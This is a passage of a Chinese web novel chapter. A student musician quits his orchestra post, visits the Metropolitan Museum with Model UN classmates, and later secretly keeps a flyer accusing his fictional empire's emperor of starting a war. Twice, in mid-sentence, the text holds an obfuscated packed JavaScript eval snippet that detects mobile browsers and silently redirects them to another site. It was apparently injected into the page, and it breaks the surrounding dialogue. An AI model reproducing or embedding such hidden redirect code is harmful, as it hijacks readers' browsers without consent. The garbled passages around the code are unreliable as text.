他盯着那条短信,忽然有点想发火:“靠,为什么啊?” “他要走,那我们咋整啊?”他忍不住在管乐组里发了条语音,下面立马刷出一堆感叹号和“真的吗?”“真的假的?”“不可能吧”。 “我前天给他发我练的那段 solo,他还夸我来着。” “你练的那段 solo 不是他都不在了吗?你还发给他听啊?” “你不懂!他人在,我心里有底,他一走,我脑子都糊了!” 没人回应他。他低头盯着那条短信,又翻回最前面,像是还抱着一丝幻想:也许是愚人节? 不是。他知道不是。 黄子栋其实比大家更早知道这件事。 那天他们通了很久的电话,顾梓聿把一切都讲得很清楚,那一刻他确实是激动的,甚至有点雀跃,这个他觊觎了好几年的位子,终于空了。 但当他看见群里瞬间刷屏的充满了“舍不得”的回复时,他还是有那么一秒,胸口闷得厉害。 他当然明白,顾梓聿在这个乐团是一个什么样的存在。他稳、他靠谱、他管得住人,不光是管得住,还让人心服口服。但他黄子栋的琴拉得也不差,而且他年纪更大一些,比起顾梓聿更有威严。顾梓聿有时候就是太温柔了,但是排练应该是要更严格、更有效率的。 他把手机反扣在桌上,额头抵住手背。 我不仅是首席,我还会做得更好。 而顾梓聿呢? 他那条“告别短信”一发出去,就立刻把手机切成了睡眠模式。理由当然是想安稳地睡个觉,但他自己心里清楚得很:这更像是一种鸵鸟的逃避心态,逃避可耻但有用,这就是顾梓聿死也改不掉的坏毛病。 第二天早上醒来,他开机的一刻,眼前几乎被弹窗轰炸得一片黑。 收件箱爆炸,社交账号提示“99+未读”,连系统都弹出提醒:是否开启勿扰模式。 顾梓聿无奈地撑着额头,长叹一口气。他真切地感受到了“自己给自己挖坑自己跳”的命运感——只不过这次,是一百多个人帮他一起“添土埋人”。 他不由得庆幸起,平常在社交网络上的自己,不是一个见消息必回的活跃形象,忙起来时他能两三天才回复消息,大家也都习以为常。真正有急事的人都会直接打电话,以免耽误事儿。他划着屏幕扫了一眼,全都是未读短信的提示,他也就放着不去点开,既不想面对,也没有那个精力去回复。 是有点任性了。 但他乐意。 天大地大,如今,还有什么比顺着自己心意更大的事吗? - 今天的自由活动时间,模联社团的社员们背着相机、挎着小包下了地铁,沿着中央公园一路走走停停,最终在草坪尽头排队进入了大都会艺术博物馆。 大家排队买了门票,把圆形贴纸贴在身上后,就迫不及待地开始参观:馆内一楼中庭正好是古代盔甲的展区,一人高的战马披着铠甲,马上的骑士高举长枪,形态各异的盔甲寒气森森,仿佛仍残留着过往厮杀的血腥气息。学生们三三俩俩地给盔甲战士拍照、合影、自拍,欢声笑语不断。 顾梓聿对这些不是很感兴趣,漫不经心地逛着,脚步一错,有意无意地就和大部队分开了:他逛展馆的时候就喜欢一个人,想走走,想停停,不必费心体谅同伴的步调。 他就着手边的地图端详了一会儿,想着大部分“正常人”都应该会从头看起,于是他反着来,逆人流而行,往展馆深处走去,先上二楼,去看看古典绘画艺术。 展厅内正好有当地的学生团体在参观,他掂了掂刚租的语音导览,想了想,扭头跟在一队当地小学生后面,蹭听着他们的老师给他们介绍展品。 大都会艺术博物馆涵盖了各地不同文化的珍贵文物和艺术品,顾梓聿对绘画史了解地很浅薄,知道的也就是那些最著名的、在百科全书或者美术课本上提到的那几幅名画,因而他保持着刚刚好能听到那位老师声音的距离,不远不近地跟着。 小学生们坐在地上围成了个圈,女老师低声讲解着墙上画作的背景色调手法,孩子们人手一本导览册一根铅笔,一边听一边写写画画。顾梓聿伸长脖子看了眼,小册子上印着些问题,都是关于这些展品的。几幅画之后,老师也注意到了:自己带的队伍后面怎么总有个尾巴?有点微胖的棕发女士眼神注视过来,顾梓聿连忙点头致意,露出一个有些无奈的礼貌笑容,然后悄悄溜开了。 实在是脸皮薄啊!他转身走开的时候叹了口气,认命地拿出自己的语音导览戴上耳机:好羡慕那些小孩,逛展馆有专门的老师讲解,还有对应的练习可以做来巩固知识、加深理解。他却不想,小学生们肯定是更羡慕他,可以随便逛不用答题啊! 在不能免俗地对着梵高自画像拍照打卡后,顾梓聿终于有点受不了了——他拍照的时候手机还不断跳出新消息的提示——开什么玩笑,现在国内都凌晨两点了吧,这些人都不睡觉的吗?这都一上午了,兜里的手机仍时不时就震动一下,他都没法专心逛了。 看了看时间,也到中午了,他腹内空空,只好从博物馆里出来,找了一家有座椅的露天简餐店,点了份芝士汉堡简餐,掏出手机,坐下来认命地开始一条条回复那些“控诉+劝留+哭唧唧”的信息。 刚才谁说的“顺着自己的心意就是最大的事”? 真是“啪啪”打脸。 他盯着那一百多条未读,笑了一下,咬了一口汉堡,带着点认命和自嘲。 卸任的自由很轻,但也真沉啊。 芝士汉堡吃到一半,顾梓聿放下手里的手机,坐在露天座椅里仰头看天。 纽城的天空并不比鹿城的更蓝,但阳光很好,晃得人有点睁不开眼。 田元元和林亦凡从博物馆出来觅食时,远远就看到一个帅气的亚裔少年坐在餐车旁,嘴里塞着汉堡、双手握着手机,头发被二月纽城的风吹得金蛇狂舞的样子。那狼狈又有点漫不经心的气质让田元元忍不住嘴角一翘。 “嘿,你看那小子,一个人在那里躲清闲,”田元元眼睛微眯,像只跃跃欲试的狐狸,“咱们过去吓吓他。” 她说得像玩笑,但脚步已经不由自主地往那边走。林亦凡一愣,随即顺势笑了笑,推了推眼镜,却没劝阻,只默默跟上。 她总是会突然冒出这样有些天真幼稚的举动,林亦凡认识田元元两年了,早已习惯她对谁都嘻嘻哈哈、随意撩拨的性格。这趟出行,从华府到费城到纽城,她时不时就要和顾梓聿聊两句有的没的,像是查户口一样,哪怕对方应对得波澜不惊,她也不厌其烦。 顾梓聿正头疼地看着手机屏幕上的一条短信,脑门上的怨气直接要实体化了:这小作文,他划了好几下都滑不到底,上千字是肯定有了,两三千都估计够呛——这位仁兄是用语音输入编辑的吧?这么长的短信如果靠手打不得残废?还有,他记得以前短信好像是有限制字数的,怎么现在没了?凭空给他增加了好多工作量。大家又不是生离死别以后就不见面了,何必呢? 顾梓聿正愁眉苦脸地想着,怎样才能同样情真意切地,但是只用几行字就能够回复对方的心意,没奈何,这天冷得他好像头脑都短路了。他想着还是赶快吃完这个汉堡,到博物馆里面去吹吹暖气可能会好一点。 突然,脖子后一道冰冷袭来,顾梓聿一身的寒毛都竖起来了,整个人一激灵,直接下意识地往身后挥肘,再扭头一看,是田元元笑得一脸无辜,她两只手冻得通红,却硬要贴在他后脖颈。 顾梓聿不习惯这种程度的身体接触,尤其还是对不熟的人。这种尴尬的情况,又碍于林亦凡和田元元一个高二一个高三,都是他的学长学姐,他也不好意思发脾气,只是下意识绷住了身体,没说话,表情却有些僵硬。 “学弟反应挺快的嘛。”田元元嬉皮笑脸地等他反应,却没有立刻收回手。 林亦凡见状,快步上前,笑着插话:“梓聿,你吃完啦?” “嗯,”有人打破僵局,顾梓聿也就顺坡就驴下了,三两口把剩下的汉堡塞进肚子里抹了抹嘴,“这家味道还不错,你们也可以在这吃,也不贵,就是有点冷。” 田元元笑着问:“冷还坐外面?干嘛不进餐厅吃?” “餐厅贵呀!再说了,我一个人吃饭,进餐厅挺奇怪的。”顾梓聿大方地展示自己“一般水平”的财力。其实他不进餐厅还有个原因,他从博物馆出来就是为了回短信的,如果在那种正式的餐厅吃饭,又不停地看手机,总感觉不太自在。 田元元很自然地在他旁边拉开椅子坐下,像是理所当然地占据了这个位置,也不知道是对谁说了一句:“我不挑,你看着点就行。” 林亦凡没说什么,默默转身去点餐。 田元元这才转过头来问他:“怎么样,准备的还行吧?明天就开幕了,紧不紧张?” 今天游览结束后,他们就要驱车前往波城了,今晚他们会正式登记入住会场酒店,明天晚上就是开幕晚会。田元元是一点都不紧张,因为她这次来就不是作为代表来参赛的,而是作为观察员,所以她到时候只需要穿着正装在会场里走来走去。用她的原话来说就是,“看哪个与会代表长得帅,就凑上去勾搭勾搭”。 “我,嗨,还行吧,反正到时候看情况,具体情况具体发挥, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371512|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟我还算是新人嘛。我觉得林亦凡学长应该准备的很充分吧,他应该挺有优势的。” 林亦凡去年也参加过这个大会,那个时候是没拿奖,但是今年他显然是做足了充分准备才来的。 顾梓聿在模联社里就没参加过几次常规的活动,他时间紧,都是做的赛前紧急培训,因此他常常相处的,也就正副社长杜若钦、田元元、郭弢三个人,和社团其他人谈不上熟悉,更像是一个“挂名社员”。这几天旅途中大家一起吃饭聊天,表面上热热闹闹,但气氛中总有点说不清道不明的距离感。再加上他都是住单人间,还要抽时间练琴,那种有意无意的疏远早就成了一种默契。 顾梓聿心里清楚的跟明镜似地,十七八岁的学生们都是人精,飞机上那一出闹剧虽小,足以让人看出赵奇和他之间的不对付。学生社团虽小,派系分明。杜若钦马上就要毕业了,显而易见,温仪上位是板上钉钉的事。县官不如现管,杜若钦人又不在这儿,大家自然会有意无意地冷落顾梓聿,不能说是向赵奇、温仪交投名状吧,却至少也是表明了个态度。 他也不想改变现状,反正他人马上就要走了,纠结这种小事也没意思。他一路上对人也秉持着“礼貌的距离感”,叫人都是全名加个“学长”或“学姐”,尊敬又冷淡,大家彼此都心知肚明,也就井水不犯河水。 田元元不知道是装傻还是真傻,一摆手:“你别再学长、学长的叫了,生分。林亦凡人很好的,你就直接叫他亦凡就可以。你们是一个会场的吧?明天开始就要互相照顾了。” “你别跟他说哟,我怕他生气,” 田元元凑近,靠在顾梓聿的耳朵旁,呼吸的气流喷在顾梓聿被冻的冰冷的耳廓上,低声说:“其实我看好的是你,说真的,我很期待你的表现。” 林亦凡回来的时候,捧着两个满满的托盘,眼神落在他们身上闪了闪,脸上没什么表情,他轻轻把托盘放在桌上,对田元元说:“点了你爱喝的卡布奇诺。” 田元元看到咖啡是用纸杯装的,皱了皱眉:“我不是说了我只喝冰的吗?” “天气这么冷,喝冰的容易…感冒,套餐里已经有去冰的可乐了,咖啡你就喝热的吧。” 林亦凡生硬地换了另一个词,顾梓聿听得出来,他原本要说的肯定不是“感冒”这个词。他随意一扫餐盘,发现林亦凡给田元元点的套餐是餐板上最贵的那个,是他那份套餐的三倍价格,以纽城洋基队当家棒球明星名字命名的那款,包装纸上就印着他的头像和签名,配的可乐杯也是特殊造型的。 他原来还想着,这种快餐餐车也敢卖这么贵的套餐,哪个傻子会去买来吃啊?原来,这样的人是真的存在的啊。 田元元显然也发现了这款套餐的特别之处,她兴奋地拿出手机拍照留念,三两下就加了个滤镜发到社交软件上。林亦凡一直带着笑,看着她完成这一系列动作。他俩之间的气氛特别熟稔,顾梓聿突然发现了什么了不起的大事情,自己实在太碍眼了。 “学长学姐,我吃好了,我先进去啦。”他站起来,语气很自然。 “你去哪儿?我们刚才陪你吃饭,现在你得陪我们啊。”田元元发挥了她刁蛮的本性,拉着顾梓聿裤子一拽,“讲点义气啊,不能让我们两个人就在这寒风中颤抖吧?” 顾梓聿实在是不懂这种逻辑:两个人挨冻不行,非要三个人一起挨?这种心态究竟是什么心态?但学姐都发话了,还能怎么样呢?他磨不开面子,只好原地坐下。先是想着回复短信的措辞,可是处在这种又诡异又和谐的气氛当中,他的脑子更转不动了。加上这风吹的是真冷啊! 顾梓聿再次起身:“我不回去,我就去那边拍几张照片,马上回来。” 林亦凡正跟田元元讲什么事,她的注意力明显又被转移了,像女王一样,无可无不可地挥挥手表示同意。顾梓聿得了准许,赶快走到一旁,他的大衣在风中被吹起衣脚,旁边咖啡厅里的醇厚香气就缠着往他身上钻。 就在这时,两个亚裔面孔的女孩走上前,她们俩个子都不高,差不多到顾梓聿肩膀位置,五官柔和,其中一个更漂亮点的朝他礼貌地笑了笑:“Excuse me,do you speak English?” 顾梓聿看着她们的脸,心想着应该同是华纳人吧,于是就直接用华纳语回答:“我可以说华纳语,你们有什么事吗?” 两个女孩互看一眼,都楞了一下。顾梓聿没在意,想着可能她们也没想着这么巧能遇见同胞吧。那个漂亮女生就笑着说:“您好,您能帮我们在这里拍张照吗?” 她指着大都会艺术博物馆的正门口:“我们想坐在门前的台阶上,麻烦您帮我们拍照,请把整个门都拍进去,谢谢。” “好的,没问题。”顾梓聿接过她们手里的相机,看着两个女孩一边笑着一边跑过去。她们坐在台阶上,戴起蕾丝发带,掏出沙拉盒放在膝上,摆出一副野餐的模样,另一个女生还真的咬了一口手里的三明治。顾梓聿觉得她们拍的照好像有点特定的含义,却也摸不着头脑,但他也没多问,把相机还给对方之后,估摸着田元元他们俩也该吃完了,就晃晃悠悠地走回去。 田园园果然吃完了:“你刚才干嘛去了?” “刚才帮两个游客拍照,她们就坐在大都会艺术博物馆门口的台阶上…” 顾梓聿话音未落,田元元立刻大叫一声,语气兴奋:“我知道她们在干嘛!她们在模仿一部美剧里面的女主角!那部剧里,女主角和她的小跟班们就经常在大都会艺术博物馆门口的台阶上吃午餐,能够加入这个午餐会就说明被女主角那个上流社会小团体接受了!” 她根本没管顾梓聿有没有在听,拉着顾梓聿的胳膊就要走,犹自兴奋地絮絮叨叨:“…这里发生的可不止午餐,还有无数的撕逼情节!哇,我当年最爱的一部剧啊!赶紧的,你们俩得陪我也去照几张!” 52.皇帝的新衣 如墨的夜色无边无涯,星星不远不近地悬在天上,俯瞰人间。 离波城还有两个多小时的车程,奔驰大巴行驶在夜色掩映的公路上,大部分学生们在热熏熏的暖气里昏昏欲睡。 顾梓聿戴着耳机,听着宋熙和之前带他去录音室录的巴赫,在无伴奏小提琴曲的背景音中,安静地望着窗外:目光所及的是空旷的平野,低矮的房屋错落其间,地平线远处是重浪般的山川,更远处,星星点点的灯火在黑暗中像幸福一样,显得那么虚幻。 可他心里一点都不平静。 他的手指下意识地在裤兜处摩挲着,那张别人拿到后或惊慌失措地撕毁,或愤怒咒骂着丢掉的传单,他却悄悄叠成一个小方块,收了起来。 途中,他们曾在一家华纳传统餐馆短暂停留,打发晚餐。虽然不少菜品融合了索伦当地口味,比如奶酪馅的饺子、甜口的红烧肉,但整体味道尚可。顾梓聿吃得很认真,甚至还有些满足地吃光了滑蛋虾仁——他挺喜欢这道菜的。 餐馆入口处放着一个报刊架,上面陈列了一沓沓免费的报纸。见是熟悉的华纳文,许多学生自然随手取了一份。现在大家陆陆续续吃完饭,吃得快的就顺手打开,没过一会儿,一声不小的惊呼打破了餐馆的喧嚣。 顾梓聿还在吃。他吃东西一向不快,这会儿他还在慢嚼细咽呢,那边几个学生就开始窃窃私语,时不时传来“谣言”、“疯了”、“情报战”之类的词眼。 “假的,这肯定是敌国制造的心理战,你也信?” “这纯属污蔑,扔了吧!” “居然敢这样诋毁陛下,是该死的叛徒!” 甚至有人当场在地上踩烂报纸,还拿起手机拍照发社交平台,配文:“帝国的敌人,永远不会得逞。” “怎么不过去看看?”这边的桌子只剩下林亦凡,田元元已经和赵奇过去一起安抚学生了,听着那边隐隐约约飘来的一句“扔了吧”,他像是毫不受影响地啜了一口冰可乐,看似随意地开口。 “这不是我饭还没吃完吗?”顾梓聿头也没抬,嘴里还含着饭,含糊地回了一句,一边下意识用手挡着嘴,“大家都吃完了,我得快点,不然怕待会还要大家等我。” 林亦凡笑了笑,没再说什么。 顾梓聿走出餐馆的时候,愣是磨蹭了一会儿,在确认周围无人注意后,快速翻了一下那报刊架上仅剩的一份报纸,他的动作很快,几乎是本能地抽出那张夹在中间的 A5 大小的宣传单,视线扫过那醒目的标题时,背脊猛地一紧,一股冷汗瞬间爬满后背。他快速地把纸三两下折成小方块,悄无声息地揣进口袋。 这张 A5 大小的薄薄传单,印着触目惊心的标题: 《鲜血与谎言:谁为战争买单?》 下方配着一张经过处理的黑白照片,是战场上一处废墟中的断壁残垣,残破的帝国旗帜在废墟中半垂而挂,隐约可见一具军人的遗体横陈其下。画面下方,一行鲜红大字格外刺目: “那些被称为英雄的人,真的知道自己在为谁而死吗?” 传单罗列了几项骇人听闻的指控: 斯堪拉战事爆发前,帝国高层已秘密完成对其高原稀有矿产的资源探测; 帝国内阁曾秘密通过某份“战争资源分配协定”,将斯堪拉的港口石油经营权出售给某军工财团; 一位斯堪拉前政府高官的录音档案,暗示斯堪拉事变由华纳帝国主动策划; 唐维均之死疑点重重,或因政见不同而被“处理”; 末尾写着一句话: “真相不会长眠,只是你还不愿意睁开双眼。” 顾梓聿的心,倏然紧缩。 在华纳境内,他从未见过那些耸人听闻的词句。他一向以为,父母死于战乱,是命运无情,是形势所迫,是无法预料的牺牲,更别说这纸上提到的其他事了。 若他只是一个普通人,他看到这张传单的反应也会像其他学生那样嗤之以鼻,或者更激烈一点,大骂出口,除此之外,是完全不会相信这纸上写的任何一切话的。 如今的华纳帝国一片繁荣昌盛,犹如一台高速运转却又井然有序的庞大机器:老皇帝当年英年早逝,这位年轻的皇帝陛下年少有为,继位时还只是一个稚童,在圣殿赛尔维斯大人和内阁的辅佐下,终于不负众人期待地长大,并平稳地将帝国的繁荣延续至今,被誉为“帝国百年来最具希望的君主”。 如今,帝国经济持续增长,科技与军力并驾齐驱,百姓安居乐业,社会秩序稳定有序,民众对国家未来充满信心。人们笃信这一切的根源,便是皇帝陛下的仁政与天赋。 所以,说什么“战争策动者”、“政治清洗”,甚至还敢瞎编排皇帝陛下和赛尔维斯大人的私生活,用“男宠”、“傀儡”这样的词来去诋毁,那简直就像是在华纳民众前亵渎他们的信仰!绝对是疯了!是恶意污蔑!一定是罪人、逃犯在污蔑皇帝陛下、蓄意报复、垂死挣扎! 华纳帝国的国民对少年皇帝的敬爱近乎一种虔诚的信仰:人人皆知,皇帝陛下简朴克己,不尚奢华,每逢节庆,必亲自前往孤儿院、养老所探访慰问;面对民生问题时,他总能及时发声、作出指示,令下属如神兵天降、百姓拍手称快;他年轻、英俊、亲和,出巡时所到之处皆被民众自发簇拥,争相瞻仰。他的肖像被高高挂在各大广场、政务厅、学校礼堂,被民众称作“帝国之光”。 短短十数年间,皇帝陛下带领华纳跨入黄金年代,而最能彰显他雄才大略的,就是十年前斯堪拉那场风波而酿成的战争。 那是一场几乎改变历史走向的战争,当时内外局势千钧一发,正是陛下慧眼识人,果断启用彼时尚无名气的青年将领何西岩,才扭转了战局。这场胜利让整个华纳空前团结,举国欢腾。宣传机器全面开动,英雄事迹海报铺天盖地,鼓舞前线士兵的歌曲响彻街头巷尾。 大将何西岩在战争初期以英勇事迹被树为“民族捍卫者”的典范,成为千家万户口中的“帝国之盾”,民众争相追捧,连他就读过的中学也成了民众自发的打卡圣地。皇帝陛下的支持率,也在那段时间内飙升至历史最高点——皇帝陛下就是帝国意志的化身,他的所言所行皆为帝国利益所向,他的命令就是真理。 在那样一个氛围里,没有人愿意去质疑战争,没有人去追问“代价”——哪怕有,也会在第二天被《帝国日报》上的一则批评稿迅速盖过。普通民众从来不知道战场上真正的伤亡数字,即使战事推进地比预期艰难,但民众坚信,只要皇帝在,帝国就不会错。一批批的年轻战士被送往前线,每一次大捷的背后都是尸山血海,但报纸上只有热血和荣耀,民众们所能看到的仍然是“一切顺利”,意味着他们的儿子、丈夫、兄弟的牺牲“是值得的”。质疑者,会被视为不忠、为敌人张目,甚至被冠上“叛国者”的罪名,遭人唾弃。 只可惜,顾梓聿不是一个无关的普通民众,他就是这张传单上所列出的无数荒唐的、疯狂的其中一个“谣言”的亲历者和幸存者。如果他能证明其中一件事是真的,别的事呢?也是确凿无疑的吗? 这不是一道数学证明题。他没有办法从这纸上的只言片语推断出正确或是错误。顾梓聿掐着自己的手指,没有想到多年前的噩梦会突然这时出现在他的眼前。他用力地瞪着眼睛,数着窗外经过了多少反光条。 小时候,关于父母的死亡,顾仲景只是告诉他:“出使期间遭遇当地武装冲突,遇难了。”?所有人都这么说,他能查到的任何公开信息,官方文件,甚至电视节目,在提及“唐维均”时都是沉痛而庄严的表述——“为了帝国而献身的外交家”。 他也从未怀疑过。 可现在……为什么这张纸上说的是“帝国让他送死”? 为什么有人敢用“被清洗”来形容一位忠臣的下场? 他记得那场战火如何毁灭了一切——可他从未敢深入回想。 如今,记忆如洪水般冲垮堤岸,那些久远的、模糊的、被刻意忽略的记忆碎片开始重新拼接,拼合出另一种轮廓。 他不能闭上眼,只要一闭眼,他就会看到那一片血色的连绵战火,就会马上想起那空投的炸弹在耳边不断炸响的恐惧。天边金黄色黄昏中,高大的摇曳的棕榈树向他的方向“轰隆”一声巨响倒下来,震起一片血肉模糊的残肢断臂。令人作呕的血腥味还带着热气,混着刺鼻的催.泪弹的味道扑面而来,他的嗓子辣的说不出话。抱着他的温柔的女人放下他,说着要去“找爸爸”。 他拉着她,死死地拉着她,可一个六岁的小孩子能有多少力气?他想叫她不要去,留下来,可嗓子太辣了,他一点声音都发不出,就看着女人的身影远去。他在心里无声地叫啊,无声的尖叫,没有人听见。火借风势熊熊燃烧,他在巨大的绝望中奔跑、摔跤、跌倒,要爬起来,一手撑在地上,粘的一手不可辨别的血肉组织。 他却连呕吐都不敢。 巴赫d小调组曲的 Allemande 舞曲响起,4/4拍,听起来平均的乐音中又有一点小小的出格,意犹未尽。顾梓聿回过神来,意识到现在播到哪儿了,立刻把进度条拉回最初。 不,至少现在,他听不了《恰空》。 到达波城时,已是深夜。学生们陆续被叫醒,但大家都还是一脸困倦的迷茫样。顾梓聿先下了车,迎面而来的冷风如刀一样刮过他的脸颊,还夹带了些小小的冰晶,打在他的脸上——他们一路北上,波城是纬度最高的城市,果然也是最冷的城市。 他不由得缩了缩脖子,把风帽戴了起来,幸亏他今天穿的是件防风雪的外套,不然这没一会就要湿透了。他戴上手套,给司机大叔帮把手,把大家的行李都一个个从车厢里提出来,整齐地摆在马路牙子边。 做这些事情的时候,他总是表现得自然得体——这让人对他产生依赖,也让他保持了安全的边界感。 他俩行李都快搬完了,大家伙才各自睡眼惺忪地背着包下车,而后拉着被司机和顾梓聿搬出来的旅行箱,脚步虚浮的走进酒店。 看到客人,大堂侍应生连忙迎上来接过行李,利落地抬着上台阶。顾梓聿顺手从兜里摸出零钱当作小费递过去。那年轻的小伙子精神一振,动作更快了些。 有学生还是没适应给服务员小费的习惯,在兜里翻了半天也没有零钱,手足无措。顾梓聿在一旁看着,正好兜里还有零钱,想着直接替她给了,就朝对方善意地笑了笑。 那是个高二女生,他们之前没怎么说过话,但顾梓聿知道她。听田元元说,这女生偏科严重,数理化一塌糊涂,但历史特别强,经常在宿舍里组织小型“思想沙龙”谈天说地,谈各国体制、评时事政策,听起来倒是个挺有想法的人。 那女生不好意思地冲他笑笑:“真是谢谢啦,钱我会还你的。” “没事,”顾梓聿也笑了笑,脸上浮起他最常用、也最安全的一种表情:温和、不具攻击性,“大家都是同学,出门在外,互相帮助应该的。” 因为他们一行人多,又都是外国人,还都是未成年人,入住手续办起来格外繁琐。此时已近午夜,酒店前台只有一个工作人员,大家只能排队等着做登记,困倦又烦躁。 等待的过程是漫长的,顾梓聿口渴了,想去接点水喝,却没发现金碧辉煌的酒店大厅里到底哪儿有饮水机。 他好奇地向刚才那个帮他们提行李的小伙子问询,对方殷勤地带他绕到大厅的柱子后面,那儿正正摆着一个造型精美的玻璃缸,半人高,直径目测得有小一米,里面装的是柠檬水。 在波城室外温度已经零下飘雪的时候,这一大缸子柠檬水里,至少有二分之一漂着的都是冰块。 顾梓聿苦笑:这还喝什么喝,恐怕这一杯下去,马上就得胃出血吧。他就是不明白了,为什么这边人这么能吃冰?冬天喝凉水还说得过去,喝加这么多冰的冰水是什么操作?又不是可乐雪碧酒精饮料,不加冰就不能喝。 其实顾梓聿真的不挑食,但他就是怕喝冰的冷的东西,偶尔喝喝冰可乐也不敢多喝,冰水真的是太过了。 正拿着空杯子走回来,那个女生注意到了他。 “你是想喝点热水吗?” 被这么直接的话一问,顾梓聿先是一愣,随即反应过来,笑着说:“是,我有点渴,但是那边的水里都是冰块,我也喝不下去。” 那女生紧张地笑了笑,从包里摸出一个保温瓶:“我这里还有点热水,是中午在咖啡店里接的,你要是不介意的话…” “啊,谢谢谢谢,太感谢了!” 要是平时,顾梓聿恐怕也不会接受,但现在他实在是太渴了,加上他刚才被旧事一激,神经过度紧张,整个人像被抽空似的,特别需要喝点热的来抚慰一下自己脆弱的胃。他双手接过对方手里的保温杯,倒了小半杯出来,留了一点再还给女生。 那女生摆摆手:“没事,待会马上就入住了,我有带热水壶来,你,你要是需要的话就都倒了吧,反正我现在也不渴。” “这样不太合适吧,”顾梓聿嘴上还在客套,手已经下意识地又收回来了。他看着对方真诚的微笑,自己也笑了,把剩下的水都加到自己杯子里,那女生看着他一口气把水喝完,才说:“看来你真的很渴。” 顾梓聿不好意思起来:“刚刚吃饭的时候也没想多喝水,结果菜太咸了,我现在老是觉得嘴干。” 女生看着他笑,突然伸出右手:“你好,我叫陈思远。” 顾梓聿也笑着和她握手:“我叫顾梓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403489|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聿,很高兴认识你。” 前台登记出了点问题,不知道是系统卡了还是工作人员手速太慢,支票刷了半天也没反应,大家都只能在那干等着,学生们有的在刷手机,有的在小声抱怨,顾梓聿和陈思远站在角落里,就这样无所事事地闲聊起来。 聊了几句天气和饭菜,陈思远忽然压低声音,像是不经意地问:“刚才饭店里的那张传单,你有注意到吗?” 顾梓聿抬眼看了她一下。对方的语气轻描淡写,眼神却明显带着几分期待。 他习惯性地先自我抽离了一下,掂量了这个话题的风险,然后才慢吞吞地回道:“啊?我那会儿光顾着吃了,没太注意……好像听别人说了一点,说是写了些争议性的东西?” “你怎么看?”陈思远试探着追问,尽力控制语气不显得太急切。但顾梓聿一眼就看出来了,她一直想找个人讨论这件事情,但是找不到合适的人。顾梓聿知道自己在这个团队当中的定位就是一个比较“独”的人,跟谁都走的不近,这样看来,陈思远来找他碰碰运气,也就可以理解了。 顾梓聿心里有点发紧,却仍旧保持着脸上的平静,甚至扯出一点微笑:“说实话,我以前没听说过这些事。我觉得这种事嘛……还是大人们更有发言权吧。我家里人也从来没讲过这些。” 他说得很稳,稳得像没踩进任何一个坑。陈思远听着,表情有点动摇,似乎还想再说什么,欲言又止。 顾梓聿本来想装傻,可他看着对方听了他这个回答后,明显就有点欲言又止的样子,突然心头一动,试探性地补了一句:“但是我想,能写出这种传单,就算其中所列的…不是百分之百真实吧,但说不定可能有一些是真的呢?” 陈思远听到最后这句话,才明显整个人都精神了起来,她凑近了,低声悄悄说:“我跟你说,至少有一件事情是真的,当年斯堪拉的那场战争,本来是打不起来的。你想不到吧,那位,可是主战派!” 她怎么知道的?顾梓聿摆出一副不信的样子:“怎么可能?大家不是都说当时皇帝陛下力主和平,坚决反对动武吗?” 在那场战争之前,帝国已经平静了很多年了,这个国家的两代人都从没上过战场。而现在,战争已经过去十年了,这场战争被评价为是一场“终止一切战争的战争”,是不得不打、为了保卫帝国底线的牺牲。 “…这场战争不是为了劫掠财富、不是为了欺压别的贫弱的国家、不是为了争夺所谓的国际控制力和影响力,这只是一场保卫帝国的正义的战争。”这是当年小皇帝的战前动员演讲。 陈思远显然不这么认为。她靠近了些,语速飞快:“你要知道,战争对于所谓的帝国人民的福祉没有任何意义,”她低声说道,表情严肃,“在我们现在所处的现代社会,国家、经济体之间相互依赖,因此,战争只会带来毁灭性的经济后果,即便对战胜方也是如此。战争的代价非常昂贵,据说,这场战争的最终花费,包括伤亡军人抚恤金,是帝国一年的国民生产总值不止。这还是往少算了的。” “也就是说,帝国发动这场战争,除了他当时所说的“为无辜遇难的帝国子民寻求正义”的理由之外,完全没有其他任何可信的理由。而就连“寻求正义”,我都半信半疑。你能相信高高在上的皇帝陛下为了正义这两个字,就慷慨地把整个帝国整一年的 GDP 当水一样洒出去吗?” 其实,发动战争的理由远不止于此。野心家总能从战争中获利。执政者经常会从战争中获得政治利益,即使相关战争在国家集体利益层面并不合理。大炮一响,黄金万两,战争可以用来转移国内危机,实现资源掠夺和权力的再分配,集中对民意和对权力的控制,而这些才是真正推动战争的杠杆。 顾梓聿在心里默默想着,没说话,继续认真听。 陈思远大概也意识到自己讲得太多了,忽然换了个话题:“莫克兰公国当年发动的红海战争就来源于国内政局的不稳定。当时浦灯大公对权力的掌控程度达到了一个高峰,可是莫克兰公国国内快速的经济增长已经放缓——可以说,浦灯大公需要一些事情来转移国民的注意力,而一场战争,就是最好的解决方案。” “战争的好处在于,它能迅速把人民拧成一股绳,迫使国民团结在领导人身边,不论他们的领导人有多么愚蠢,也不论这场战争实际上是不是会把他们拖至更糟糕的境地。在比利战争中,残暴的军政府领袖在短时间内突然间变成了街头巷尾人人称颂的国民英雄,而这,并不是宣传造成的,而是人民自发产生的情感。就说我们现在所在的索伦,第十三任总统在第一个任期内发动的“反恐战争”虽然花费了数万亿的军费,却也使他的中期支持率飙升到了有史以来的最高位,替他顺利地赢下了第二任期的选举。” 